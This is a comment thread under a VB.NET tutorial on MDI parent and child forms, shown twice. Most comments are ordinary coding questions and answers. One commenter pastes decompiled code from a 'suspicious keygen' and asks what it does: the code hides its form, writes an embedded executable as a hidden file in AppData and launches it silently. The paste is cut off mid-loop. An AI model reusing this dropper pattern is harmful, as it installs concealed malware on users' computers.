It looks like you published this tutorial using VB 2010 where a standard Windows form is specifically turned into an MDI form by altering the properties.. MDI Parent forms have been an option in their own right since VB 2013.I thought that I might make this clear for anyone using a later version of VB.Keep up the good work. Your tutorials are excellent.
Always a pleasure to watch. I can't remember the last time I developed for a desktop, way way back. I assume the demand for desktop software is decreasing, the trend goes to web applications/mobile in my experience anyway.
+RicheUK The market for desktop apps is definitely waning, especially where entertainment applications are concerned. :-( However, I believe that in the corporate world there will always be a demand for desktop business management applications, but that pool is also limited by scope and complexity. The business market is saturated with ERP systems, PoS systems, etc., and dominated by the big fish which makes it very hard to compete. I really want to learn to develop mobile and web apps, but it's hard to get started in that arena.
Thank you for your help! I have learned a lot from you so far. Question: can you upgrade this "MDI" project to use Drag and Drop forms selected from the control panel or list box into other form?
Great video, Do you have a bit more detailed tutorial for midiform? I have a datagridview in a childform. i have a save button on parentform. Even user clicks on save button, i have to access the datagridview on currently active childform. How do i do that?
As they say "Ask and you shall receive." Thank you so much and great video as always. This will help tremendously. Not sure if you have covered this in one of your other videos, but do you have any ideas on how to secure the server connection strings? I have looked this up and have seen where some are using an encrypted xml file, but the info that I have found isn't very helpful in doing such a task, any thoughts on the subject?Thank you again for the videos and all the knowledge that you share with us!
+Dean Jenkins I'm not an expert on encryption, but any locally stored file with credentials is inherently vulnerable if it falls into the wrong hands, even if it is encrypted. At best you'll get varying levels of obfuscation that will protect it from the average user. Using rainbow tables, brute force, or decompiling your app, someone can eventually solve your key and render all of your hard work moot. For this reason it's safest to simply not store the vital info (password, etc.). That said, there are different ways to approach this. Encryption can be tricky and there a dozen different flavors to choose from. The simplest method to obfuscate the credentials is to to use a salted hash, rather than encrypting the entire file. This doesn't encrypt the credentials, rather it creates a hash or a mess of characters from them that must be matched by an input or key from the app or the user. This works great for application credentials, but if you want an automated DB login you're still left storing it somewhere. Beyond that you can encrypt the connection string or the entire file, but the application will still need to pass the decryption key to the file when it needs the info. I tinkered with string encryption with some success though I'm not certain that my source is the most efficient way to go about it. It felt way too bulky to me and I wasn't even using salt. I'll have to see if I can find some better examples to share.
Master, do you recommend VB for SQL server database with user interface where multiple users are going to use it? It will be more data analisys and report out results and be able to compare and sort put with arrays in forms. I currently do this in Excel using VBA but I'm not sure if this is the best option considering speed and easy to maintain.
Yes, absolutely. SQL Server is excellent for muti-user environments. For very small apps with few users and a low number of transactions, the free express edition is often fine. It just has a 4GB limit. For large environments with numerous users and/or transactions, standard or enterprise versions are more desirable, but come with a hefty price tag.
VB Toolbox I meant it as to code with VBA as opposed to any other language. For instance, I'm familiar with VBA and I can build apps but I have also heard of C++ but that is new to me and I'm not sure how the windows applications work or are structured.
Hi, thanks you for sharing this. but, I need some thing else like web page. if I have a 4 tabs in the form when I click a tab button different forms should appear like a page (ex) right click in Project - open - a page opens I want to create a design like that
For the Right-Click functionality, you'll need a Context Menu Strip control which will be added to another control [i.e., TabControl]. When you click "Open" you want to add a new Tab to the tab control, similar to a web browser?
+emilie1977 Unfortunately, WPF does not have any form of MDI, to my knowledge. It seems that most people fall back on some form of tab control layout, instead. It may be possible to fake an MDI feel in WPF, but I don't have enough experience with it to provide any advice. Sorry. :-(
Hi there. Do you know how to keep the child form in a fixed centered position within the parent form? I set the child form StartPosition property to CenterScreen, and when it opens up, it is centered, but when you minimize the screen an maximize it again, the form ends up on the left side of the parent form.
+Miss S Try creating a Sub like this: Private Sub CenterOnParent(Name As String) Me.MdiChildren.ToList.ForEach(Sub(f) If f.Name = "Sample" Then f.Hide() f.Show() End If End Sub) End Sub Then use the Sub in the Main (Parent) form's ClientSizeChanged event like this: Private Sub Form1_ClientSizeChanged(sender As Object, e As System.EventArgs) Handles Me.ClientSizeChanged CenterOnParent("Sample") End Sub Note: I created an mdiChild form and set its Name property as "Sample": Dim f As New Form2 f.MdiParent = Me f.Name = "Sample" f.Show()
+VB Toolbox hello friend, it's me again! i have a two solution project that i want you to looked at here's the link: drive.google.com/open?id=0B-K3TTJgHgWXbmxSbEVDYk1FUGc
Hi Is it not possible to add a menustrip on a childform ??... When I do it, I can see that there is a menustrip, but on menu items.... Please help.. thanks
I have two child forms. One of them has grid that gets filled at form load. Another child form gets called for adding data. When second form is filled I need to insert data from it into first form. Then I need to reload first form. My issue is that from child form I only can retrieve the name of another child form from parent but can't pull any data. Seems like there are no public methods available for that. I managed to do workaround when made my "Reload" method to be triggered by form's onVisibleChange event..
If you add a public method [Sub] to the form that you wish to refresh you should then be able to access and fire it from the second form using the same event that you're submitting your update from.
hello friend! do you remember me? I have a little programming error that I want some help with, it's a little app with buttons that switch usercontrol1 to 2. I want to save usercontrol1 textbox item with usercontrol2 buttons, I meant to use usercontrol2 button to control usercontrol1 textbox.
As long as your form classes are public, you should be able to call upon them and their respective controls from any form within your application. :-) You should be able to use something like this: [On UserControl2 Button Click] MyTextBox.Text = UserControl1.TextBox1.Text Or UserControl1.TextBox1.Text = "Hello George!"
A png and exe are very different animals. A png image can be captured from your form using GDI. I do have a tutorial on this. An exe is an executable binary file, so it's not going to do anything unless you hav access to an existing exe. Either way, if you have access to the byte data you can write it to a new file with the streamreader and streamwriter - or more simply, a file copy.
hello friend! remember me? i like for you to take a look at this code that i extracted from a suspicious keygen and tell me whats behind it: Imports crack Imports Microsoft.VisualBasic Imports Microsoft.VisualBasic.CompilerServices Imports System Imports System.Collections.Generic Imports System.ComponentModel Imports System.Diagnostics Imports System.Drawing Imports System.IO Imports System.Runtime.CompilerServices Imports System.Windows.Forms Namespace cracked Public Class Form1 Inherits Form Private Shared handlerLength As List(Of WeakReference) Private nameHandle As IContainer Private colorToken As Timer Private nextSession As String Private rootNames As Random Private addressInstance As String Friend Overridable Property DisposeResource As Timer Get Return Me.colorToken End Get Set(ByVal value As Timer) Dim form1 As cracked.Form1 = Me Dim eventHandler As System.EventHandler = New System.EventHandler(AddressOf form1.BuildPath) If (Me.colorToken IsNot Nothing) Then RemoveHandler Me.colorToken.Tick, eventHandler End If Me.colorToken = value If (Me.colorToken IsNot Nothing) Then AddHandler Me.colorToken.Tick, eventHandler End If End Set End Property Shared Sub New() Form1.handlerLength = New List(Of WeakReference)() End Sub Public Sub New() MyBase.New() Dim form11 As Form1 = Me AddHandler MyBase.Load, New EventHandler(AddressOf form11.EnableCommand) Form1.OpenProcess(Me) Me.nextSession = String.Concat(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\crack.exe") Me.rootNames = New Random() Me.addressInstance = String.Concat(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\crack-fvp", Conversions.ToString(Me.rootNames.[Next](0, 1000)), ".exe") Me.ExtractBookmark() End Sub Private Sub BuildPath(ByVal sender As Object, ByVal e As EventArgs) End Sub Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If (If(Not disposing OrElse Me.nameHandle Is Nothing, False, True)) Then Me.nameHandle.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub Private Sub EnableCommand(ByVal sender As Object, ByVal e As EventArgs) Me.Opacity = 0 Try If (File.Exists(Me.nextSession)) Then File.SetAttributes(Me.nextSession, FileAttributes.Normal) FileSystem.Kill(Me.nextSession) End If File.WriteAllBytes(Me.nextSession, VectorToken.cracked) File.SetAttributes(Me.nextSession, FileAttributes.Hidden) Process.Start(Me.nextSession) Catch exception As System.Exception ProjectData.SetProjectError(exception) ProjectData.ClearProjectError() End Try Try If (Environment.Is64BitOperatingSystem) Then Me.Setit() End If Catch exception1 As System.Exception ProjectData.SetProjectError(exception1) ProjectData.EndApp() ProjectData.ClearProjectError() End Try End Sub Private Sub ExtractBookmark() Me.nameHandle = New System.ComponentModel.Container() Me.DisposeResource = New Timer(Me.nameHandle) Me.SuspendLayout() Me.DisposeResource.Enabled = True Me.AutoScaleDimensions = New SizeF(6!, 13!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(116, 0) Me.Name = "Form1" Me.Opacity = 0 Me.ShowInTaskbar = False Me.Text = "Form1" Me.ResumeLayout(False) End Sub Private Shared Sub OpenProcess(ByVal handlerLength As Object) SyncLock Form1.handlerLength If (Form1.handlerLength.Count = Form1.handlerLength.Capacity) Then Dim item As Integer = 0 Dim count As Integer = Form1.handlerLength.Count - 1 Dim num As Integer = 0 Do If (Form1.handlerLength(num).IsAlive) Then If (num item) Then Form1.handlerLength(item) = Form1.handlerLength(num) End If item = item + 1 End If num = num + 1 Loop While num
MDI Forms are like an OS that is, the MDI is the OS desktop an child forms are the apps.
GREAT VID! (:
Man... you KNOW how to play with this stuff.
It's really fun to learn with you.
Just started with VB.Net, VS2019.
Thank you for your videos. Very good explanation, very nice examples! They helped a lot.
You are Awesome 💗..
Your way of explanation,way of presenting things is excellent...
It looks like you published this tutorial using VB 2010 where a standard Windows form is specifically turned into an MDI form by altering the properties.. MDI Parent forms have been an option in their own right since VB 2013.I thought that I might make this clear for anyone using a later version of VB.Keep up the good work. Your tutorials are excellent.
Always a pleasure to watch. I can't remember the last time I developed for a desktop, way way back.
I assume the demand for desktop software is decreasing, the trend goes to web applications/mobile in my experience anyway.
+RicheUK The market for desktop apps is definitely waning, especially where entertainment applications are concerned. :-(
However, I believe that in the corporate world there will always be a demand for desktop business management applications, but that pool is also limited by scope and complexity. The business market is saturated with ERP systems, PoS systems, etc., and dominated by the big fish which makes it very hard to compete.
I really want to learn to develop mobile and web apps, but it's hard to get started in that arena.
i am one from lovers of your channel and i wait for a new videos
Thank you, Zeyad Ahmed. :-) I'm trying to adapt to my new area and get back to tutorials but it has been difficult. I don't want to let you down.
Thank You so Much Sir ... It helped me a lot.. Keep on going with ur work like this...
Thank you for your help! I have learned a lot from you so far. Question: can you upgrade this "MDI" project to use Drag and Drop forms selected from the control panel or list box into other form?
hey, you're still making videos??
Unfortunately, I haven't been able to do anything with VB in a very long time due to my current living situation. These are all very old tutorials.
how did you do it can you share with me , thank you
Great video, Do you have a bit more detailed tutorial for midiform? I have a datagridview in a childform. i have a save button on parentform. Even user clicks on save button, i have to access the datagridview on currently active childform. How do i do that?
How to open word application in Panel box or richtextbox or mdi form any box and save through vb btn savd in specific drive me plzzzz detail sir
Is there a method to turn the gray backcolor of the Form into window backcolor when I change 'isMdicontainer' property to true ?
When MDI form would be better, useful over SDI form, and vice versa?
As they say "Ask and you shall receive." Thank you so much and great video as always. This will help tremendously. Not sure if you have covered this in one of your other videos, but do you have any ideas on how to secure the server connection strings? I have looked this up and have seen where some are using an encrypted xml file, but the info that I have found isn't very helpful in doing such a task, any thoughts on the subject?Thank you again for the videos and all the knowledge that you share with us!
+Dean Jenkins I'm not an expert on encryption, but any locally stored file with credentials is inherently vulnerable if it falls into the wrong hands, even if it is encrypted. At best you'll get varying levels of obfuscation that will protect it from the average user. Using rainbow tables, brute force, or decompiling your app, someone can eventually solve your key and render all of your hard work moot. For this reason it's safest to simply not store the vital info (password, etc.).
That said, there are different ways to approach this. Encryption can be tricky and there a dozen different flavors to choose from.
The simplest method to obfuscate the credentials is to to use a salted hash, rather than encrypting the entire file. This doesn't encrypt the credentials, rather it creates a hash or a mess of characters from them that must be matched by an input or key from the app or the user. This works great for application credentials, but if you want an automated DB login you're still left storing it somewhere.
Beyond that you can encrypt the connection string or the entire file, but the application will still need to pass the decryption key to the file when it needs the info.
I tinkered with string encryption with some success though I'm not certain that my source is the most efficient way to go about it. It felt way too bulky to me and I wasn't even using salt. I'll have to see if I can find some better examples to share.
VB Toolbox
Master, do you recommend VB for SQL server database with user interface where multiple users are going to use it? It will be more data analisys and report out results and be able to compare and sort put with arrays in forms. I currently do this in Excel using VBA but I'm not sure if this is the best option considering speed and easy to maintain.
Yes, absolutely. SQL Server is excellent for muti-user environments. For very small apps with few users and a low number of transactions, the free express edition is often fine. It just has a 4GB limit. For large environments with numerous users and/or transactions, standard or enterprise versions are more desirable, but come with a hefty price tag.
VB Toolbox I meant it as to code with VBA as opposed to any other language. For instance, I'm familiar with VBA and I can build apps but I have also heard of C++ but that is new to me and I'm not sure how the windows applications work or are structured.
How to make a book application in visual basic along with searching option too ??
You try to give the video more brightness it will be great if you do
Hi, thanks you for sharing this. but, I need some thing else like web page. if I have a 4 tabs in the form when I click a tab button different forms should appear like a page
(ex) right click in Project - open - a page opens
I want to create a design like that
For the Right-Click functionality, you'll need a Context Menu Strip control which will be added to another control [i.e., TabControl]. When you click "Open" you want to add a new Tab to the tab control, similar to a web browser?
Thank you,
let me try
Aslam alikum dear I'm Muhammad Jazib and i am working in visual studio 2012 and you help me
Thank you! Know you a method for create mdi with Wpf?
+emilie1977 Unfortunately, WPF does not have any form of MDI, to my knowledge. It seems that most people fall back on some form of tab control layout, instead. It may be possible to fake an MDI feel in WPF, but I don't have enough experience with it to provide any advice. Sorry. :-(
Hi there. Do you know how to keep the child form in a fixed centered position within the parent form?
I set the child form StartPosition property to CenterScreen, and when it opens up, it is centered, but when you minimize the screen an maximize it again, the form ends up on the left side of the parent form.
+Miss S Try creating a Sub like this:
Private Sub CenterOnParent(Name As String)
Me.MdiChildren.ToList.ForEach(Sub(f)
If f.Name = "Sample" Then
f.Hide()
f.Show()
End If
End Sub)
End Sub
Then use the Sub in the Main (Parent) form's ClientSizeChanged event like this:
Private Sub Form1_ClientSizeChanged(sender As Object, e As System.EventArgs) Handles Me.ClientSizeChanged
CenterOnParent("Sample")
End Sub
Note: I created an mdiChild form and set its Name property as "Sample":
Dim f As New Form2
f.MdiParent = Me
f.Name = "Sample"
f.Show()
+VB Toolbox hello friend, it's me again! i have a two solution project that i want you to looked at here's the link: drive.google.com/open?id=0B-K3TTJgHgWXbmxSbEVDYk1FUGc
Hi Is it not possible to add a menustrip on a childform ??... When I do it, I can see that there is a menustrip, but on menu items.... Please help.. thanks
I´m using visual studio 2017
I have two child forms. One of them has grid that gets filled at form load. Another child form gets called for adding data. When second form is filled I need to insert data from it into first form. Then I need to reload first form. My issue is that from child form I only can retrieve the name of another child form from parent but can't pull any data. Seems like there are no public methods available for that. I managed to do workaround when made my "Reload" method to be triggered by form's onVisibleChange event..
If you add a public method [Sub] to the form that you wish to refresh you should then be able to access and fire it from the second form using the same event that you're submitting your update from.
hello friend! do you remember me? I have a little programming error that I want some help with, it's a little app with buttons that switch usercontrol1 to 2. I want to save usercontrol1 textbox item with usercontrol2 buttons, I meant to use usercontrol2 button to control usercontrol1 textbox.
As long as your form classes are public, you should be able to call upon them and their respective controls from any form within your application. :-)
You should be able to use something like this:
[On UserControl2 Button Click]
MyTextBox.Text = UserControl1.TextBox1.Text
Or
UserControl1.TextBox1.Text = "Hello George!"
"Ok" thanks!
Let me know if you need an example project. :-)
the best
Ware good austories peilsg Henderson
Can you make a toutorial ?
if i press a button than on my desktop is a .png file created or .exe file
A png and exe are very different animals. A png image can be captured from your form using GDI. I do have a tutorial on this. An exe is an executable binary file, so it's not going to do anything unless you hav access to an existing exe.
Either way, if you have access to the byte data you can write it to a new file with the streamreader and streamwriter - or more simply, a file copy.
thanks
hello friend! remember me? i like for you to take a look at this code that i extracted from a suspicious keygen and tell me whats behind it:
Imports crack
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Runtime.CompilerServices
Imports System.Windows.Forms
Namespace cracked
Public Class Form1
Inherits Form
Private Shared handlerLength As List(Of WeakReference)
Private nameHandle As IContainer
Private colorToken As Timer
Private nextSession As String
Private rootNames As Random
Private addressInstance As String
Friend Overridable Property DisposeResource As Timer
Get
Return Me.colorToken
End Get
Set(ByVal value As Timer)
Dim form1 As cracked.Form1 = Me
Dim eventHandler As System.EventHandler = New System.EventHandler(AddressOf form1.BuildPath)
If (Me.colorToken IsNot Nothing) Then
RemoveHandler Me.colorToken.Tick, eventHandler
End If
Me.colorToken = value
If (Me.colorToken IsNot Nothing) Then
AddHandler Me.colorToken.Tick, eventHandler
End If
End Set
End Property
Shared Sub New()
Form1.handlerLength = New List(Of WeakReference)()
End Sub
Public Sub New()
MyBase.New()
Dim form11 As Form1 = Me
AddHandler MyBase.Load, New EventHandler(AddressOf form11.EnableCommand)
Form1.OpenProcess(Me)
Me.nextSession = String.Concat(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\crack.exe")
Me.rootNames = New Random()
Me.addressInstance = String.Concat(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\crack-fvp", Conversions.ToString(Me.rootNames.[Next](0, 1000)), ".exe")
Me.ExtractBookmark()
End Sub
Private Sub BuildPath(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If (If(Not disposing OrElse Me.nameHandle Is Nothing, False, True)) Then
Me.nameHandle.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
Private Sub EnableCommand(ByVal sender As Object, ByVal e As EventArgs)
Me.Opacity = 0
Try
If (File.Exists(Me.nextSession)) Then
File.SetAttributes(Me.nextSession, FileAttributes.Normal)
FileSystem.Kill(Me.nextSession)
End If
File.WriteAllBytes(Me.nextSession, VectorToken.cracked)
File.SetAttributes(Me.nextSession, FileAttributes.Hidden)
Process.Start(Me.nextSession)
Catch exception As System.Exception
ProjectData.SetProjectError(exception)
ProjectData.ClearProjectError()
End Try
Try
If (Environment.Is64BitOperatingSystem) Then
Me.Setit()
End If
Catch exception1 As System.Exception
ProjectData.SetProjectError(exception1)
ProjectData.EndApp()
ProjectData.ClearProjectError()
End Try
End Sub
Private Sub ExtractBookmark()
Me.nameHandle = New System.ComponentModel.Container()
Me.DisposeResource = New Timer(Me.nameHandle)
Me.SuspendLayout()
Me.DisposeResource.Enabled = True
Me.AutoScaleDimensions = New SizeF(6!, 13!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.ClientSize = New System.Drawing.Size(116, 0)
Me.Name = "Form1"
Me.Opacity = 0
Me.ShowInTaskbar = False
Me.Text = "Form1"
Me.ResumeLayout(False)
End Sub
Private Shared Sub OpenProcess(ByVal handlerLength As Object)
SyncLock Form1.handlerLength
If (Form1.handlerLength.Count = Form1.handlerLength.Capacity) Then
Dim item As Integer = 0
Dim count As Integer = Form1.handlerLength.Count - 1
Dim num As Integer = 0
Do
If (Form1.handlerLength(num).IsAlive) Then
If (num item) Then
Form1.handlerLength(item) = Form1.handlerLength(num)
End If
item = item + 1
End If
num = num + 1
Loop While num
❤️❤️❤️🙏❤️❤️❤️
thank you`
how to insert a file .exe ?
Very meta...
Whoa! Nerd Relic! How'd I miss this comment? I'm sooo behind in replies... Have to go deeper...
how did you do it can you share with me , thank you